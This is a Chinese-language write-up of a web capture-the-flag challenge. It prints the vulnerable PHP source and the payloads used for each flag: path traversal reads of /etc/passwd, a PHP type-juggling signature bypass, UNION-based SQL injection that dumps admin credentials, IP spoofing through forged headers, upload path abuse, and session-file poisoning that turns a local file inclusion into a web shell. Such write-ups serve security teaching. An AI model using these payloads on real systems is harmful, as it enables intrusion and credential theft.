Flag 1
在首頁可以看到一張圖片,URL長成這樣。

http://web.ctf.devcore.tw/image.php?id=aHBfbTI4M2Zkdy5qcGc=
其中 aHBfbTI4M2Zkdy5qcGc= 拿去 base64 deocde 會變成 hp_m283fdw.jpg ,發現是一個檔名,
這裡可以嘗試 path traversal。
嘗試讀取 ../../../../etc/passwd 成功,繼續嘗試讀取 source code。

先讀取 mount device ../../../../proc/mounts,嘗試找出 web root。

/dev/sda /usr/share/nginx/frontend ext4 ro,relatime,errors=remount-ro,data=ordered 0 0
/dev/sda /usr/share/nginx/images ext4 rw,relatime,errors=remount-ro,data=ordered 0 0
/dev/sda /usr/share/nginx/b8ck3nd ext4 ro,relatime,errors=remount-ro,data=ordered 0 0
接著讀取 /usr/share/nginx/frontend/index.php 可以發現首頁的 source code。

裡面有引入 include.php,讀取 include.php 後可以在裡面發現第一個 flag。

Flag 2
在 order.php 中,可以看到 sig 沒有做型別的驗證,可以利用 PHP 的弱型別繞過程式中的 sig 驗證。
# order.php
require_once('include.php');
$id = get_get_param('id', '');
$sig = get_get_param('sig', '');
if (empty($id) || empty($sig)) {
header('Location: /');
exit();
}
$id = intval($id);
$pdo = get_pdo();
$res = $pdo->query('SELECT * FROM orders WHERE id = '.$id, PDO::FETCH_ASSOC);
$order = $res->fetch();
if (!$order) {
$_SESSION['error_msg'] = '找不到此訂單';
require_once('error.php');
}
$sig_hash = get_sig_hash($sig);
if ($sig_hash && $sig_hash != $order['sig_hash']) {
$_SESSION['error_msg'] = '訂單網址參數錯誤';
require_once('error.php');
}
switch ($order['status']) {
case ORDER_STATUS_PICKING:
$step = 1;
break;
case ORDER_STATUS_PACKING:
$step = 2;
break;
case ORDER_STATUS_SENDING:
$step = 3;
break;
case ORDER_STATUS_DELIVERING:
$step = 4;
break;
case ORDER_STATUS_ARRIVED:
$step = 5;
break;
case ORDER_STATUS_FINISH:
$step = 6;
break;
}
# include.php
function get_sig_hash($data) {
$pdo = get_pdo();
$res = $pdo->query("SELECT `value` FROM options WHERE `key` = 'sig_secret' LIMIT 1", PDO::FETCH_ASSOC);
$row = $res->fetch();
if (!$row) {
$secret = random_str(64);
$pdo->exec("INSERT INTO options VALUES ('sig_secret', '".$secret."'), ('sig_algorithm', 'sha256')");
} else {
$secret = $row['value'];
}
$res = $pdo->query("SELECT `value` FROM options WHERE `key` = 'sig_algorithm' LIMIT 1", PDO::FETCH_ASSOC);
$algo = $res->fetch()['value'];
return hash_hmac($algo, $data, $secret);
}
如果將 sig 以陣列的方式傳入 if ($sig_hash && $sig_hash != $order['sig_hash']) 結果會變成 if (NULL && NULL != "abc") 恆為 False。
所以只要將 sig= 改為 sig[]= 就可以任意讀取訂單內容。
在網址輸入 http://web.ctf.devcore.tw/order.php?id=1&sig[]= 即可獲得第二個 flag。

Flag 3
在 print.php 可以發現裡面有一個可以 SQL injection 的注入點。
<?php
require_once('include.php');
require_once('third_party/vendor/autoload.php');
//require_once('rate_limit.php');
// rate limit is not working, use random sleep as a workaround
sleep(random_int(0, 2));
$is_from_print = true;
$id = get_get_param('id', '');
$sig = get_get_param('sig', '');
$sig_hash = get_sig_hash($sig);
$pdo = get_pdo();
$res = $pdo->query("
SELECT *
FROM orders
WHERE sig_hash = '$sig_hash' AND id = $id
LIMIT 1
", PDO::FETCH_ASSOC);
try {
$order = $res->fetch();
} catch (Error $e) {
$order = [];
}
ob_start();
include('pdf.php');
$html = ob_get_clean();
$mpdf = new \Mpdf\Mpdf([
'tempDir' => '/tmp',
'autoScriptToLang' => true,
'autoLangToFont' => true,
'mode' => 'utf-8'
]);
$mpdf->SetTitle('收據明細');
$mpdf->SetSubject('收據明細');
$mpdf->SetAuthor(random_str((random_int(1, 256))));
$mpdf->SetCreator(random_str((random_int(1, 256))));
$mpdf->WriteHTML($html);
$mpdf->Output();
先在 id 中注入 -1 or 1=1 -- 測試弱點是否成立。
可以成功找到第一筆訂單。

並使用 UNION 看看有哪幾個欄位可以被利用。
插入 -1 UNION SELECT 1,2,3,4,5,6,7,8,9 --

而在 /usr/share/nginx/b8ck3nd/login.php 裡面可以找到儲存後台帳號密碼的資料表名稱 backend_users
並利用 SQL injection 找出 backend_users 有哪些欄位。
插入 -1 UNION SELECT GROUP_CONCAT(column_name SEPARATOR ','),2,3,4,5,6,7,8,9 FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema' AND table_name='backend_users' -- 後得到 id,username,password,description

得到欄位後,即可取得後台帳號密碼。
-1 UNION SELECT username,password,description,4,5,6,7,8,9 FROM backend_users --
並可以在 Description 中取得第三個 flag。

Flag 4
在嘗試進入後台頁面 http://web.ctf.devcore.tw/b8ck3nd/ 時,會被 redirect 回首頁。

利用 path traversal 查看 /usr/share/nginx/b8ck3nd/include.php,發現後台的頁面會驗證來源 IP,若來源 IP 不是 127.0.0.1 或 172.18.11.89,則會 redirect 回首頁。
<?php
require_once('../frontend/include.php');
session_start_once();
if (!in_array(get_client_ip(), ['127.0.0.1', '172.18.11.89'], true)) {
header('Location: /');
exit();
}
if (!isset($_SESSION['user_id'])) {
if (!endsWith($_SERVER['SCRIPT_FILENAME'], 'login.php')) {
header('Location: /b8ck3nd/login.php');
exit();
}
}
# ../frontend/include.php
function get_client_ip() {
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} else if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
但可以發現驗證 IP 來源是參考 HTTP header 的內容,只要在 header 中加入 CLIENT-IP、X-FORWARDED-FOR、REMOTE-ADDR 即可繞過其限制。詳細可以參考 如何正確的取得使用者 IP? | DEVCORE 戴夫寇爾

並且可以使用剛剛 SQL injection 取得的帳號密碼 admin/u=479_p5jV:Fsq(2 進行登入。
登入後即可取得第四個 flag。

Flag 5
在上傳的功能中可以發現如果在 POST 封包中,若有參數 rename 、 folder 即可控制上傳檔案的檔案名稱以及路徑,並且未有任何限制。
<?php
require_once('include.php');
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
header('Content-Type: text/plain');
echo 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkZha2UgdG9rZW4gZm9yIGNrZWRpdG9yIiwiaWF0IjoxNTE2MjM5MDIyfQ.6nNLxp10uP65V_NFrs5IWuX2tkk6vGQ-oiwYhHNdHgk';
exit();
}
if (isset($_FILES['file']) && is_uploaded_file($_FILES['file']['tmp_name'])) {
header('Content-Type: application/json; charset=utf-8');
$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
$filename = random_str(32).'.'.$ext;
if (isset($_POST['rename'])) {
$filename = $_POST['rename'];
}
if (isset($_POST['folder'])) {
$folder = $_POST['folder'];
if (!file_exists(IMAGE_PATH.$folder)) {
mkdir(IMAGE_PATH.$folder);
}
$filename = $folder.'/'.$filename;
}
$filepath = IMAGE_PATH . $filename;
move_uploaded_file($_FILES['file']['tmp_name'], $filepath);
system("rsync_wrap ".escapeshellarg($filepath));
$id = base64_urlsafe_encode($filename);
echo json_encode([
'default' => '/image.php?id='.$id
]);
} else {
http_response_code(400);
}
只要在 folder 中含有 /../ 即可出現第五個 flag。

Flag 6
最後一個 flag 要想辦法上傳 shell,但因 nginx 可以瀏覽的路徑都是 mount 成 ro 無法直接上傳 web shell。
# /proc/mounts
/dev/sda /usr/share/nginx/frontend ext4 ro,relatime,errors=remount-ro,data=ordered 0 0
/dev/sda /usr/share/nginx/images ext4 rw,relatime,errors=remount-ro,data=ordered 0 0
/dev/sda /usr/share/nginx/b8ck3nd ext4 ro,relatime,errors=remount-ro,data=ordered 0 0
可以在 /usr/share/nginx/frontend/include.php 裡面發現一段語系切換的功能。
# frontend/include.php
if (!isset($_SESSION['lang'])) {
$_SESSION['lang'] = DEFAULT_LANGUAGE;
}
require_once('langs/' . $_SESSION['lang'] . '.php');
這裡會將 session 中的 lang 值當成語系檔案引入進來,且並未做任何驗證,只要在 lang 中填入任意路徑即可達成 local file inclusion 弱點,執行 web shell。
先在 /usr/share/nginx/images/ 中上傳我們要被引入的 web shell。

PHP 的 session 值會存在於 /tmp/sess_<session_id>。
所以只要上傳 lang|s:18:"../../images/shell"; 至 /tmp/sess_<session_id>,就可以將 session 中的 lang 值更改成 ../../images/shell,進而執行 web shell。


根目錄裡有一個 /readflag 執行後即可得到第六個 flag。

